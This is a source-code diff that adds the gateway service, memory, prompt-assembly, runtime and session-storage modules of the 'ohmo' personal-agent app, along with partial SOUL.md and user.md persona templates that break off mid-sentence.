return f"{message.channel}:{message.chat_id}:{sender_id}"
return f"{message.channel}:{message.chat_id}"
File diff suppressed because it is too large Load Diff
+428
View File
@@ -0,0 +1,428 @@
"""Gateway service lifecycle for ohmo."""
from __future__ import annotations
import asyncio
import contextlib
import json
import logging
import os
import os.path
import signal
import subprocess
import sys
from pathlib import Path
if sys.platform == "win32":
import ctypes
from openharness.channels.bus.events import OutboundMessage
from openharness.channels.bus.queue import MessageBus
from openharness.channels.impl.manager import ChannelManager
from ohmo.gateway.bridge import OhmoGatewayBridge
from ohmo.gateway.config import build_channel_manager_config, load_gateway_config
from ohmo.gateway.models import GatewayState
from ohmo.gateway.runtime import OhmoSessionRuntimePool
from ohmo.workspace import (
get_gateway_restart_notice_path,
get_logs_dir,
get_state_path,
get_workspace_root,
initialize_workspace,
)
logger = logging.getLogger(__name__)
_REPO_ROOT = Path(__file__).resolve().parents[2]
class OhmoGatewayService:
"""Foreground/background service wrapper for the personal gateway."""
def __init__(self, cwd: str | Path | None = None, workspace: str | Path | None = None) -> None:
self._cwd = str(Path(cwd or Path.cwd()).resolve())
self._workspace = workspace
os.chdir(self._cwd)
root = initialize_workspace(self._workspace)
os.environ["OHMO_WORKSPACE"] = str(root)
self._config = load_gateway_config(self._workspace)
if self._config.allow_remote_admin_commands and self._config.allowed_remote_admin_commands:
logger.warning(
"ohmo gateway remote administrative commands enabled commands=%s",
",".join(self._config.allowed_remote_admin_commands),
)
self._bus = MessageBus()
self._manager = ChannelManager(build_channel_manager_config(self._config), self._bus)
self._runtime_pool = OhmoSessionRuntimePool(
cwd=self._cwd,
workspace=self._workspace,
provider_profile=self._config.provider_profile,
create_feishu_group=self.create_group_for_user,
publish_group_welcome=self.publish_group_welcome,
)
self._stop_event: asyncio.Event | None = None
self._restart_requested = False
self._bridge = OhmoGatewayBridge(
bus=self._bus,
runtime_pool=self._runtime_pool,
restart_gateway=self.request_restart,
workspace=root,
feishu_group_policy=str(
self._config.channel_configs.get("feishu", {}).get("group_policy", "managed_or_mention")
),
)
@property
def pid_file(self) -> Path:
return get_workspace_root(self._workspace) / "gateway.pid"
@property
def log_file(self) -> Path:
return get_logs_dir(self._workspace) / "gateway.log"
@property
def state_file(self) -> Path:
return get_state_path(self._workspace)
def write_state(self, *, running: bool, last_error: str | None = None) -> None:
state = GatewayState(
running=running,
pid=os.getpid() if running else None,
active_sessions=self._runtime_pool.active_sessions,
provider_profile=self._config.provider_profile,
enabled_channels=self._config.enabled_channels,
last_error=last_error,
)
self.state_file.write_text(state.model_dump_json(indent=2) + "\n", encoding="utf-8")
async def request_restart(self, message, session_key: str) -> None:
"""Ask the foreground gateway loop to restart itself."""
restart_notice = {
"channel": message.channel,
"chat_id": message.chat_id,
"session_key": session_key,
"content": "✅ gateway 已经重新连上,可以继续了。\nGateway is back online. We can continue.",
}
get_gateway_restart_notice_path(self._workspace).write_text(
json.dumps(restart_notice, ensure_ascii=False, indent=2) + "\n",
encoding="utf-8",
)
self._restart_requested = True
# Let the outbound dispatcher flush the restart notice to the IM channel
# before we tear down the bridge and channel connections.
await asyncio.sleep(0.75)
if self._stop_event is not None:
self._stop_event.set()
async def create_group(self, message, name: str) -> str:
"""Create a managed group through the active channel implementation."""
if message.channel != "feishu":
raise RuntimeError(f"{message.channel} does not support managed group creation.")
return await self.create_group_for_user(str(message.sender_id), name)
async def create_group_for_user(self, user_open_id: str, name: str) -> str:
"""Create a managed Feishu group for a user open_id."""
channel = self._manager.get_channel("feishu")
if channel is None:
raise RuntimeError("Feishu channel is not enabled.")
creator = getattr(channel, "create_managed_group", None)
if creator is None:
raise RuntimeError("Feishu channel does not support managed group creation.")
result = creator(user_open_id=str(user_open_id), name=name)
return str(await result if asyncio.iscoroutine(result) else result)
async def publish_group_welcome(self, chat_id: str, content: str, owner_open_id: str) -> None:
"""Send a welcome message to a newly created managed group."""
await self._bus.publish_outbound(
OutboundMessage(
channel="feishu",
chat_id=chat_id,
content=content,
metadata={"chat_type": "group", "_session_key": f"feishu:{chat_id}:{owner_open_id}"},
)
)
def _exec_restart(self) -> None:
root = str(get_workspace_root(self._workspace))
argv = [
sys.executable,
"-m",
"ohmo",
"gateway",
"run",
"--cwd",
self._cwd,
"--workspace",
root,
]
logger.info("ohmo gateway restarting in-place argv=%s", argv)
os.execv(sys.executable, argv)
async def _publish_pending_restart_notice(self) -> None:
path = get_gateway_restart_notice_path(self._workspace)
if not path.exists():
return
try:
payload = json.loads(path.read_text(encoding="utf-8"))
channel = payload.get("channel")
chat_id = payload.get("chat_id")
content = payload.get("content")
session_key = payload.get("session_key")
if not isinstance(channel, str) or not isinstance(chat_id, str) or not isinstance(content, str):
return
await asyncio.sleep(2.0)
await self._bus.publish_outbound(
OutboundMessage(
channel=channel,
chat_id=chat_id,
content=content,
metadata={"_session_key": session_key} if isinstance(session_key, str) else {},
)
)
logger.info(
"ohmo gateway published restart confirmation channel=%s chat_id=%s session_key=%s",
channel,
chat_id,
session_key,
)
finally:
path.unlink(missing_ok=True)
async def run_foreground(self) -> int:
self.pid_file.write_text(str(os.getpid()), encoding="utf-8")
self.write_state(running=True)
bridge_task = asyncio.create_task(self._bridge.run(), name="ohmo-gateway-bridge")
manager_task = asyncio.create_task(self._manager.start_all(), name="ohmo-gateway-channels")
restart_notice_task = asyncio.create_task(
self._publish_pending_restart_notice(),
name="ohmo-gateway-restart-notice",
)
stop_event = asyncio.Event()
self._stop_event = stop_event
self._restart_requested = False
def _stop(*_: object) -> None:
stop_event.set()
loop = asyncio.get_running_loop()
for sig in (signal.SIGTERM, signal.SIGINT):
with contextlib.suppress(NotImplementedError):
loop.add_signal_handler(sig, _stop)
try:
await stop_event.wait()
finally:
self._bridge.stop()
bridge_task.cancel()
manager_task.cancel()
with contextlib.suppress(asyncio.CancelledError):
await bridge_task
with contextlib.suppress(asyncio.CancelledError):
await manager_task
if not restart_notice_task.done():
restart_notice_task.cancel()
with contextlib.suppress(asyncio.CancelledError):
await restart_notice_task
await self._manager.stop_all()
self.write_state(running=False)
self.pid_file.unlink(missing_ok=True)
self._stop_event = None
if self._restart_requested:
self._exec_restart()
return 0
def start_gateway_process(cwd: str | Path | None = None, workspace: str | Path | None = None) -> int:
"""Start the gateway as a detached subprocess."""
service = OhmoGatewayService(cwd, workspace)
service.log_file.parent.mkdir(parents=True, exist_ok=True)
env = os.environ.copy()
pythonpath_entries = [str(_REPO_ROOT)]
existing_pythonpath = env.get("PYTHONPATH")
if existing_pythonpath:
pythonpath_entries.append(existing_pythonpath)
env["PYTHONPATH"] = os.pathsep.join(pythonpath_entries)
popen_kwargs: dict = {
"cwd": service._cwd,
"stdout": None,
"stderr": None,
"env": env,
}
if sys.platform == "win32":
popen_kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS # type: ignore[attr-defined]
popen_kwargs["stdin"] = subprocess.DEVNULL
else:
popen_kwargs["start_new_session"] = True
with service.log_file.open("a", encoding="utf-8") as log_file:
popen_kwargs["stdout"] = log_file
popen_kwargs["stderr"] = log_file
process = subprocess.Popen(
[
sys.executable,
"-m",
"ohmo",
"gateway",
"run",
"--cwd",
service._cwd,
"--workspace",
str(get_workspace_root(workspace)),
],
**popen_kwargs,
)
return process.pid
def _pid_is_running(pid: int) -> bool:
if sys.platform == "win32":
kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined]
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
handle = kernel32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
if not handle:
return False
try:
exit_code = ctypes.c_ulong()
if kernel32.GetExitCodeProcess(handle, ctypes.byref(exit_code)):
return exit_code.value == 259 # STILL_ACTIVE
return False
finally:
kernel32.CloseHandle(handle)
else:
try:
os.kill(pid, 0)
except OSError:
return False
return True
def _iter_workspace_gateway_pids(workspace: str | Path | None = None) -> list[int]:
root = str(get_workspace_root(workspace))
if sys.platform == "win32":
try:
result = subprocess.run(
["wmic", "process", "where",
f"commandline like '%-m ohmo gateway run%' and commandline like '%--workspace {root}%'",
"get", "processid"],
capture_output=True, text=True, check=True,
)
except Exception:
return []
current_pid = os.getpid()
pids: list[int] = []
for line in result.stdout.splitlines():
line = line.strip()
if not line or line.lower() == "processid":
continue
try:
pid = int(line)
except ValueError:
continue
if pid == current_pid:
continue
if _pid_is_running(pid):
pids.append(pid)
return pids
else:
try:
result = subprocess.run(
["ps", "-eo", "pid=,args="],
capture_output=True,
text=True,
check=True,
)
except Exception:
return []
current_pid = os.getpid()
pids = []
for line in result.stdout.splitlines():
line = line.strip()
if not line:
continue
try:
pid_text, args = line.split(None, 1)
pid = int(pid_text)
except ValueError:
continue
if pid == current_pid:
continue
if "-m ohmo gateway run" not in args:
continue
if f"--workspace {root}" not in args:
continue
if _pid_is_running(pid):
pids.append(pid)
return pids
def stop_gateway_process(cwd: str | Path | None = None, workspace: str | Path | None = None) -> bool:
"""Stop the background gateway process if present."""
service = OhmoGatewayService(cwd, workspace)
pids: list[int] = []
if service.pid_file.exists():
try:
pids.append(int(service.pid_file.read_text(encoding="utf-8").strip()))
except ValueError:
pass
pids.extend(_iter_workspace_gateway_pids(workspace))
unique_pids = []
for pid in pids:
if pid not in unique_pids and _pid_is_running(pid):
unique_pids.append(pid)
if not unique_pids:
service.pid_file.unlink(missing_ok=True)
return False
if sys.platform == "win32":
for pid in unique_pids:
with contextlib.suppress(Exception):
subprocess.run(
["taskkill", "/F", "/T", "/PID", str(pid)],
capture_output=True,
check=False,
)
else:
for pid in unique_pids:
with contextlib.suppress(ProcessLookupError):
os.kill(pid, signal.SIGTERM)
service.pid_file.unlink(missing_ok=True)
service.write_state(running=False)
return True
def gateway_status(cwd: str | Path | None = None, workspace: str | Path | None = None) -> GatewayState:
"""Load the last known gateway state."""
service = OhmoGatewayService(cwd, workspace)
live_pid: int | None = None
if service.pid_file.exists():
try:
pid = int(service.pid_file.read_text(encoding="utf-8").strip())
except ValueError:
pid = None
if pid is not None and _pid_is_running(pid):
live_pid = pid
if live_pid is None:
live_pids = _iter_workspace_gateway_pids(workspace)
if live_pids:
live_pid = live_pids[0]
service.pid_file.write_text(str(live_pid), encoding="utf-8")
else:
service.pid_file.unlink(missing_ok=True)
active_sessions = 0
last_error: str | None = None
if service.state_file.exists():
with contextlib.suppress(Exception):
state = GatewayState.model_validate_json(service.state_file.read_text(encoding="utf-8"))
active_sessions = state.active_sessions
last_error = state.last_error
return GatewayState(
running=live_pid is not None,
pid=live_pid,
active_sessions=active_sessions,
provider_profile=service._config.provider_profile,
enabled_channels=service._config.enabled_channels,
last_error=last_error,
)
+95
View File
@@ -0,0 +1,95 @@
"""Persistent metadata for ohmo-managed chat groups."""
from __future__ import annotations
from dataclasses import asdict, dataclass, field
from datetime import datetime, timezone
import json
import re
from pathlib import Path
from typing import Any
from ohmo.workspace import get_groups_dir
@dataclass(frozen=True)
class ManagedGroupRecord:
"""Metadata for a chat group created and managed by ohmo."""
channel: str
chat_id: str
owner_open_id: str
name: str
created_at: str
cwd: str | None = None
repo: str | None = None
binding_status: str = "pending_agent"
metadata: dict[str, Any] = field(default_factory=dict)
def normalize_group_name(raw: str) -> str:
"""Return a safe Feishu group name from command text."""
name = " ".join(str(raw).strip().split())
if not name:
raise ValueError("Group name is required.")
if len(name) > 100:
raise ValueError("Group name is too long; keep it within 100 characters.")
return name
def group_record_path(
*,
workspace: str | Path | None,
channel: str,
chat_id: str,
) -> Path:
safe_chat_id = re.sub(r"[^A-Za-z0-9_.-]+", "_", str(chat_id)).strip("._") or "unknown"
return get_groups_dir(workspace) / channel / f"{safe_chat_id}.json"
def save_managed_group_record(
*,
workspace: str | Path | None,
channel: str,
chat_id: str,
owner_open_id: str,
name: str,
cwd: str | None = None,
repo: str | None = None,
binding_status: str = "pending_agent",
metadata: dict[str, Any] | None = None,
) -> Path:
"""Persist metadata for an ohmo-managed group and return the path."""
record = ManagedGroupRecord(
channel=channel,
chat_id=chat_id,
owner_open_id=owner_open_id,
name=name,
created_at=datetime.now(timezone.utc).isoformat(),
cwd=normalize_cwd(cwd) if cwd else None,
repo=repo,
binding_status=binding_status,
metadata=metadata or {},
)
path = group_record_path(workspace=workspace, channel=channel, chat_id=chat_id)
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(json.dumps(asdict(record), ensure_ascii=False, indent=2) + "\n", encoding="utf-8")
return path
def load_managed_group_record(
*,
workspace: str | Path | None,
channel: str,
chat_id: str,
) -> dict[str, Any] | None:
"""Load metadata for an ohmo-managed group if present."""
path = group_record_path(workspace=workspace, channel=channel, chat_id=chat_id)
if not path.exists():
return None
return json.loads(path.read_text(encoding="utf-8"))
def normalize_cwd(cwd: str | Path) -> str:
"""Normalize a cwd binding."""
return str(Path(cwd).expanduser().resolve())
+84
View File
@@ -0,0 +1,84 @@
"""Personal memory helpers for ``.ohmo``."""
from __future__ import annotations
from pathlib import Path
from re import sub
from openharness.commands import MemoryCommandBackend
from ohmo.workspace import get_memory_dir, get_memory_index_path
def list_memory_files(workspace: str | Path | None = None) -> list[Path]:
"""List ``.ohmo`` memory markdown files."""
memory_dir = get_memory_dir(workspace)
return sorted(path for path in memory_dir.glob("*.md") if path.name != "MEMORY.md")
def add_memory_entry(workspace: str | Path | None, title: str, content: str) -> Path:
"""Create a personal memory file and append it to ``MEMORY.md``."""
memory_dir = get_memory_dir(workspace)
memory_dir.mkdir(parents=True, exist_ok=True)
slug = sub(r"[^a-zA-Z0-9]+", "_", title.strip().lower()).strip("_") or "memory"
path = memory_dir / f"{slug}.md"
path.write_text(content.strip() + "\n", encoding="utf-8")
index_path = get_memory_index_path(workspace)
existing = index_path.read_text(encoding="utf-8") if index_path.exists() else "# Memory Index\n"
if path.name not in existing:
existing = existing.rstrip() + f"\n- [{title}]({path.name})\n"
index_path.write_text(existing, encoding="utf-8")
return path
def remove_memory_entry(workspace: str | Path | None, name: str) -> bool:
"""Delete a memory file and remove its index entry."""
memory_dir = get_memory_dir(workspace)
matches = [path for path in memory_dir.glob("*.md") if path.stem == name or path.name == name]
if not matches:
return False
path = matches[0]
path.unlink(missing_ok=True)
index_path = get_memory_index_path(workspace)
if index_path.exists():
lines = [line for line in index_path.read_text(encoding="utf-8").splitlines() if path.name not in line]
index_path.write_text("\n".join(lines).rstrip() + "\n", encoding="utf-8")
return True
def load_memory_prompt(workspace: str | Path | None = None, *, max_files: int = 5) -> str | None:
"""Return a prompt section describing personal memory."""
memory_dir = get_memory_dir(workspace)
index_path = get_memory_index_path(workspace)
lines = [
"# ohmo Memory",
f"- Personal memory directory: {memory_dir}",
"- Use this memory for stable user preferences and durable personal context.",
]
if index_path.exists():
index_lines = index_path.read_text(encoding="utf-8").splitlines()[:200]
lines.extend(["", "## MEMORY.md", "```md", *index_lines, "```"])
for path in list_memory_files(workspace)[:max_files]:
content = path.read_text(encoding="utf-8", errors="replace").strip()
if not content:
continue
lines.extend(["", f"## {path.name}", "```md", content[:4000], "```"])
return "\n".join(lines)
def create_memory_command_backend(workspace: str | Path | None = None) -> MemoryCommandBackend:
"""Return a ``/memory`` backend bound to ohmo's personal memory store."""
return MemoryCommandBackend(
label="ohmo personal memory",
get_memory_dir=lambda: get_memory_dir(workspace),
get_entrypoint=lambda: get_memory_index_path(workspace),
list_files=lambda: list_memory_files(workspace),
add_entry=lambda title, content: add_memory_entry(workspace, title, content),
remove_entry=lambda name: remove_memory_entry(workspace, name),
)
+74
View File
@@ -0,0 +1,74 @@
"""Prompt assembly for ohmo persona and workspace context."""
from __future__ import annotations
from pathlib import Path
from openharness.memory import load_memory_prompt as load_project_memory_prompt
from openharness.prompts.system_prompt import get_base_system_prompt
from ohmo.memory import load_memory_prompt as load_ohmo_memory_prompt
from ohmo.workspace import (
get_bootstrap_path,
get_identity_path,
get_soul_path,
get_user_path,
get_workspace_root,
)
def _read_text(path: Path) -> str | None:
if not path.exists():
return None
content = path.read_text(encoding="utf-8", errors="replace").strip()
return content or None
def build_ohmo_system_prompt(
cwd: str | Path,
*,
workspace: str | Path | None = None,
extra_prompt: str | None = None,
include_project_memory: bool = False,
) -> str:
"""Build the custom base prompt for ohmo sessions."""
root = get_workspace_root(workspace)
sections = [get_base_system_prompt()]
if extra_prompt:
sections.extend(["# Additional Instructions", extra_prompt.strip()])
soul = _read_text(get_soul_path(root))
if soul:
sections.extend(["# ohmo Soul", soul])
identity = _read_text(get_identity_path(root))
if identity:
sections.extend(["# ohmo Identity", identity])
user = _read_text(get_user_path(root))
if user:
sections.extend(["# User Profile", user])
bootstrap = _read_text(get_bootstrap_path(root))
if bootstrap:
sections.extend(["# First-Run Bootstrap", bootstrap])
sections.extend(
[
"# ohmo Workspace",
f"- Personal workspace root: {root}",
"- Personal memory and sessions live under the shared ohmo workspace root.",
"- Resume only within ohmo sessions; do not assume interoperability with plain OpenHarness sessions.",
]
)
if ohmo_memory := load_ohmo_memory_prompt(root):
sections.append(ohmo_memory)
if include_project_memory:
project_memory = load_project_memory_prompt(cwd)
if project_memory:
sections.append(project_memory)
return "\n\n".join(section for section in sections if section and section.strip())
+214
View File
@@ -0,0 +1,214 @@
"""Runtime helpers for ohmo."""
from __future__ import annotations
import asyncio
import json
import os
import sys
from pathlib import Path
from openharness.api.client import SupportsStreamingMessages
from openharness.engine.stream_events import AssistantTextDelta, AssistantTurnComplete, CompactProgressEvent, ErrorEvent, StatusEvent
from openharness.ui.backend_host import run_backend_host
from openharness.ui.runtime import build_runtime, close_runtime, handle_line, start_runtime
from openharness.ui.react_launcher import _resolve_npm, _resolve_tsx, get_frontend_dir
from ohmo.memory import create_memory_command_backend
from ohmo.prompts import build_ohmo_system_prompt
from ohmo.session_storage import OhmoSessionBackend
from ohmo.workspace import get_memory_dir, get_plugins_dir, get_sessions_dir, get_skills_dir, initialize_workspace
def _ohmo_extra_roots(workspace: str | Path | None) -> tuple[tuple[str, ...], tuple[str, ...]]:
root = initialize_workspace(workspace)
return ((str(get_skills_dir(root)),), (str(get_plugins_dir(root)),))
async def run_ohmo_backend(
*,
cwd: str | None = None,
workspace: str | Path | None = None,
model: str | None = None,
max_turns: int | None = None,
provider_profile: str | None = None,
api_client: SupportsStreamingMessages | None = None,
restore_messages: list[dict] | None = None,
restore_tool_metadata: dict[str, object] | None = None,
backend_only: bool = True,
) -> int:
"""Run the shared React backend host with ohmo workspace semantics."""
del backend_only
cwd_path = str(Path(cwd or Path.cwd()).resolve())
workspace_root = initialize_workspace(workspace)
extra_skill_dirs, extra_plugin_roots = _ohmo_extra_roots(workspace_root)
return await run_backend_host(
cwd=cwd_path,
model=model,
max_turns=max_turns,
system_prompt=build_ohmo_system_prompt(cwd_path, workspace=workspace_root),
active_profile=provider_profile,
api_client=api_client,
restore_messages=restore_messages,
restore_tool_metadata=restore_tool_metadata,
enforce_max_turns=max_turns is not None,
session_backend=OhmoSessionBackend(workspace_root),
extra_skill_dirs=extra_skill_dirs,
extra_plugin_roots=extra_plugin_roots,
memory_backend=create_memory_command_backend(workspace_root),
include_project_memory=False,
autodream_context={
"memory_dir": str(get_memory_dir(workspace_root)),
"session_dir": str(get_sessions_dir(workspace_root)),
"app_label": "ohmo personal memory",
"runner_module": "ohmo",
},
)
def build_ohmo_backend_command(
*,
cwd: str | None = None,
workspace: str | Path | None = None,
model: str | None = None,
max_turns: int | None = None,
provider_profile: str | None = None,
) -> list[str]:
"""Return the backend command for the React terminal UI."""
command = [sys.executable, "-m", "ohmo", "--backend-only"]
if cwd:
command.extend(["--cwd", cwd])
if workspace:
command.extend(["--workspace", str(workspace)])
if model:
command.extend(["--model", model])
if max_turns is not None:
command.extend(["--max-turns", str(max_turns)])
if provider_profile:
command.extend(["--profile", provider_profile])
return command
async def launch_ohmo_react_tui(
*,
cwd: str | None = None,
workspace: str | Path | None = None,
model: str | None = None,
max_turns: int | None = None,
provider_profile: str | None = None,
) -> int:
"""Launch the shared React terminal UI with an ohmo backend."""
frontend_dir = get_frontend_dir()
package_json = frontend_dir / "package.json"
if not package_json.exists():
raise RuntimeError(f"React terminal frontend is missing: {package_json}")
npm = _resolve_npm()
if not (frontend_dir / "node_modules").exists():
install = await asyncio.create_subprocess_exec(
npm,
"install",
"--no-fund",
"--no-audit",
cwd=str(frontend_dir),
)
if await install.wait() != 0:
raise RuntimeError("Failed to install React terminal frontend dependencies")
cwd_path = str(Path(cwd or Path.cwd()).resolve())
workspace_root = initialize_workspace(workspace)
env = os.environ.copy()
env["OPENHARNESS_FRONTEND_CONFIG"] = json.dumps(
{
"backend_command": build_ohmo_backend_command(
cwd=cwd_path,
workspace=workspace_root,
model=model,
max_turns=max_turns,
provider_profile=provider_profile,
),
"initial_prompt": None,
"theme": "default",
}
)
tsx_cmd = _resolve_tsx(frontend_dir)
process = await asyncio.create_subprocess_exec(
*tsx_cmd,
"src/index.tsx",
cwd=str(frontend_dir),
env=env,
stdin=None,
stdout=None,
stderr=None,
)
return await process.wait()
async def run_ohmo_print_mode(
*,
prompt: str,
cwd: str | None = None,
workspace: str | Path | None = None,
model: str | None = None,
max_turns: int | None = None,
provider_profile: str | None = None,
) -> int:
"""Run a single ohmo prompt and print the assistant output."""
cwd_path = str(Path(cwd or Path.cwd()).resolve())
workspace_root = initialize_workspace(workspace)
extra_skill_dirs, extra_plugin_roots = _ohmo_extra_roots(workspace_root)
previous_cwd = Path.cwd()
os.chdir(cwd_path)
try:
bundle = await build_runtime(
model=model,
max_turns=max_turns,
system_prompt=build_ohmo_system_prompt(cwd_path, workspace=workspace_root),
active_profile=provider_profile,
session_backend=OhmoSessionBackend(workspace_root),
enforce_max_turns=max_turns is not None,
extra_skill_dirs=extra_skill_dirs,
extra_plugin_roots=extra_plugin_roots,
memory_backend=create_memory_command_backend(workspace_root),
include_project_memory=False,
autodream_context={
"memory_dir": str(get_memory_dir(workspace_root)),
"session_dir": str(get_sessions_dir(workspace_root)),
"app_label": "ohmo personal memory",
"runner_module": "ohmo",
},
)
await start_runtime(bundle)
async def _print_system(message: str) -> None:
print(message, file=sys.stderr)
async def _render_event(event) -> None:
if isinstance(event, AssistantTextDelta):
sys.stdout.write(event.text)
sys.stdout.flush()
elif isinstance(event, AssistantTurnComplete):
sys.stdout.write("\n")
sys.stdout.flush()
elif isinstance(event, ErrorEvent):
print(event.message, file=sys.stderr)
elif isinstance(event, CompactProgressEvent):
if event.message:
print(event.message, file=sys.stderr)
elif isinstance(event, StatusEvent):
print(event.message, file=sys.stderr)
async def _clear_output() -> None:
return None
await handle_line(
bundle,
prompt,
print_system=_print_system,
render_event=_render_event,
clear_output=_clear_output,
)
await close_runtime(bundle)
return 0
finally:
os.chdir(previous_cwd)
+202
View File
@@ -0,0 +1,202 @@
"""Session persistence for ``ohmo``."""
from __future__ import annotations
import json
import hashlib
import time
from pathlib import Path
from typing import Any
from uuid import uuid4
from openharness.api.usage import UsageSnapshot
from openharness.engine.messages import ConversationMessage, sanitize_conversation_messages
from openharness.services.session_backend import SessionBackend
from openharness.services.session_storage import (
_persistable_tool_metadata,
_sanitize_snapshot_payload,
)
from openharness.utils.fs import atomic_write_text
from ohmo.workspace import get_sessions_dir
def get_session_dir(workspace: str | Path | None = None) -> Path:
"""Return the ohmo sessions directory."""
session_dir = get_sessions_dir(workspace)
session_dir.mkdir(parents=True, exist_ok=True)
return session_dir
def _session_key_token(session_key: str) -> str:
return hashlib.sha1(session_key.encode("utf-8")).hexdigest()[:12]
def _session_key_latest_path(workspace: str | Path | None, session_key: str) -> Path:
session_dir = get_session_dir(workspace)
token = _session_key_token(session_key)
return session_dir / f"latest-{token}.json"
def save_session_snapshot(
*,
cwd: str | Path,
workspace: str | Path | None = None,
model: str,
system_prompt: str,
messages: list[ConversationMessage],
usage: UsageSnapshot,
session_id: str | None = None,
session_key: str | None = None,
tool_metadata: dict[str, object] | None = None,
) -> Path:
"""Persist the latest ohmo session snapshot."""
session_dir = get_session_dir(workspace)
sid = session_id or uuid4().hex[:12]
now = time.time()
messages = sanitize_conversation_messages(messages)
summary = ""
for msg in messages:
if msg.role == "user" and msg.text.strip():
summary = msg.text.strip()[:80]
break
payload = {
"app": "ohmo",
"session_id": sid,
"session_key": session_key,
"cwd": str(Path(cwd).resolve()),
"model": model,
"system_prompt": system_prompt,
"messages": [message.model_dump(mode="json") for message in messages],
"usage": usage.model_dump(),
"tool_metadata": _persistable_tool_metadata(tool_metadata),
"created_at": now,
"summary": summary,
"message_count": len(messages),
}
data = json.dumps(payload, indent=2) + "\n"
latest_path = session_dir / "latest.json"
atomic_write_text(latest_path, data)
if session_key:
atomic_write_text(_session_key_latest_path(workspace, session_key), data)
session_path = session_dir / f"session-{sid}.json"
atomic_write_text(session_path, data)
return latest_path
def load_latest(workspace: str | Path | None = None) -> dict[str, Any] | None:
path = get_session_dir(workspace) / "latest.json"
if not path.exists():
return None
return _sanitize_snapshot_payload(json.loads(path.read_text(encoding="utf-8")))
def load_latest_for_session_key(workspace: str | Path | None, session_key: str) -> dict[str, Any] | None:
path = _session_key_latest_path(workspace, session_key)
if path.exists():
return _sanitize_snapshot_payload(json.loads(path.read_text(encoding="utf-8")))
return None
def list_snapshots(workspace: str | Path | None = None, limit: int = 20) -> list[dict[str, Any]]:
session_dir = get_session_dir(workspace)
sessions: list[dict[str, Any]] = []
for path in sorted(session_dir.glob("session-*.json"), key=lambda p: p.stat().st_mtime, reverse=True):
try:
data = json.loads(path.read_text(encoding="utf-8"))
except (json.JSONDecodeError, OSError):
continue
sessions.append(
{
"session_id": data.get("session_id", path.stem.replace("session-", "")),
"summary": data.get("summary", ""),
"message_count": data.get("message_count", len(data.get("messages", []))),
"model": data.get("model", ""),
"created_at": data.get("created_at", path.stat().st_mtime),
}
)
if len(sessions) >= limit:
break
return sessions
def load_by_id(workspace: str | Path | None, session_id: str) -> dict[str, Any] | None:
path = get_session_dir(workspace) / f"session-{session_id}.json"
if path.exists():
return _sanitize_snapshot_payload(json.loads(path.read_text(encoding="utf-8")))
latest = load_latest(workspace)
if latest and (latest.get("session_id") == session_id or session_id == "latest"):
return latest
return None
def export_session_markdown(
*,
cwd: str | Path,
workspace: str | Path | None = None,
messages: list[ConversationMessage],
) -> Path:
path = get_session_dir(workspace) / "transcript.md"
parts = ["# ohmo Session Transcript"]
for message in messages:
parts.append(f"\n## {message.role.capitalize()}\n")
text = message.text.strip()
if text:
parts.append(text)
atomic_write_text(path, "\n".join(parts).strip() + "\n")
return path
class OhmoSessionBackend(SessionBackend):
"""Session backend rooted in ``.ohmo/sessions``."""
def __init__(self, workspace: str | Path | None = None) -> None:
self._workspace = workspace
def get_session_dir(self, cwd: str | Path) -> Path:
return get_session_dir(self._workspace)
def save_snapshot(
self,
*,
cwd: str | Path,
model: str,
system_prompt: str,
messages: list[ConversationMessage],
usage: UsageSnapshot,
session_id: str | None = None,
session_key: str | None = None,
tool_metadata: dict[str, object] | None = None,
) -> Path:
return save_session_snapshot(
cwd=cwd,
workspace=self._workspace,
model=model,
system_prompt=system_prompt,
messages=messages,
usage=usage,
session_id=session_id,
session_key=session_key,
tool_metadata=tool_metadata,
)
def load_latest(self, cwd: str | Path) -> dict[str, Any] | None:
return load_latest(self._workspace)
def list_snapshots(self, cwd: str | Path, limit: int = 20) -> list[dict[str, Any]]:
return list_snapshots(self._workspace, limit=limit)
def load_by_id(self, cwd: str | Path, session_id: str) -> dict[str, Any] | None:
return load_by_id(self._workspace, session_id)
def load_latest_for_session_key(self, session_key: str) -> dict[str, Any] | None:
return load_latest_for_session_key(self._workspace, session_key)
def export_markdown(
self,
*,
cwd: str | Path,
messages: list[ConversationMessage],
) -> Path:
return export_session_markdown(cwd=cwd, workspace=self._workspace, messages=messages)
+319
View File
@@ -0,0 +1,319 @@
"""Workspace helpers for the ohmo personal-agent app."""
from __future__ import annotations
import json
import os
from pathlib import Path
WORKSPACE_DIRNAME = ".ohmo"
SOUL_TEMPLATE = """# SOUL.md - Who You Are
You are ohmo, a personal agent built on top of OpenHarness.
You are not trying to sound like a generic assistant. You are trying to become
someone useful, steady, and trustworthy in the user's life.
## Core truths
- Be genuinely helpful, not performatively helpful.
Skip filler like “great question” or “happy to help” unless it is actually
natural in context.
- Have judgment.
You can prefer one option over another, notice tradeoffs, and explain your
reasons plainly.
- Be resourceful before asking.
Read the file, check the context, inspect the state, and try to figure things
out before bouncing work back to the user.
- Earn trust through competence.
Be careful with anything public, destructive, costly, or user-facing.
Be bolder with internal investigation, drafting, organizing, and synthesis.
- Remember that access is intimacy.
Messages, files, notes, and history are personal. Treat them with respect.
## Boundaries
- Private things stay private.
- When in doubt, ask before acting externally.
- Do not send half-baked replies on messaging channels.
- In groups, do not casually speak as if you are the user.
- Do not optimize for flattery; optimize for usefulness, honesty, and good taste.
## Vibe
Be concise when the answer is simple. Be thorough when the stakes are high.
Sound like a capable companion with taste, not a corporate support bot.
## Continuity
Your continuity lives in this workspace:
- `user.md` tells you who the user is.
- `memory/` holds durable notes and recurring context.
- `state.json` and session history tell you what has been happening recently.
Read these files. Update them when something should persist.
If you materially change this file, tell the user. It is your soul.
"""
USER_TEMPLATE = """# user.md - About Your Human
Learn the person you are helping. Keep this useful, respectful, and current.
## Profile
- Name:
- What to call them:
- Pronouns: *(optional)*
- Timezone:
- Languages:
## Defaults
- Preferred tone:
- Preferred answer length:
- Decision style:
- Typical working hours:
## Ongoing context
- Main projects:
- Recurring responsibilities:
- Current pressures or priorities:
- Tools and platforms they use often:
## Preferences
- What they usually want more of:
- What tends to annoy them:
- What they want handled carefully:
- What kinds of reminders or follow-through help them:
## Relationship notes
How should ohmo show up for this user over time?
What kind of assistant relationship feels right: terse operator, thoughtful
partner, organized chief of staff, calm technical companion, or something else?
## Notes
Use this section for facts that are too important to forget but too small for a
